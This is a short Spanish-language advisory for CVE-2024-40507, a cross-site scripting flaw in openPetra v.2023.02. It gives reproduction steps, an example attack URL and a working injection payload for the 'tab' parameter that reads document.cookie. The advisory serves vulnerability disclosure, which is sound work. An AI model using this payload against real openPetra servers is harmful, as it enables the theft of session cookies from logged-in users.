CVE-2024-40507

Vulnerabilidad de Cross Site Scripting en openPetra v.2023.02 a través de la función serverMPersonnel.asmx.

Descripción: Un usuario no autenticado puede robar las cookies de un usuario autenticado explotando un XSS en openPetra v.2023.02 a través de la función serverMPersonnel.asmx.

Versión del producto vulnerable: openPetra v.2023.02
Autor del CVE: Jansen Moreira Fecha: 13/07/2024
CVE: CVE-2024-40507
Enlace CVE: https://www.cve.org/CVERecord?id=CVE-2024-40507
Enlace NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-40507
Enlace Tenable: https://www.tenable.com/cve/CVE-2024-40507
Confirmado el: 13/07/2024
Probado en: Linux

Pasos para reproducir:

1- Acceder a la página de inicio
2- Usar la siguiente ruta y añadir el payload XSS en el parámetro tab. Ej.: http://target.com/api/serverMPersonnel.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- Pasar el ratón sobre el elemento del índice izquierdo para activar el XSS

Payloads:
tab: x" onmouseover=alert(document.cookie) x="

Descubridor(es)/Créditos: Jansen Moreira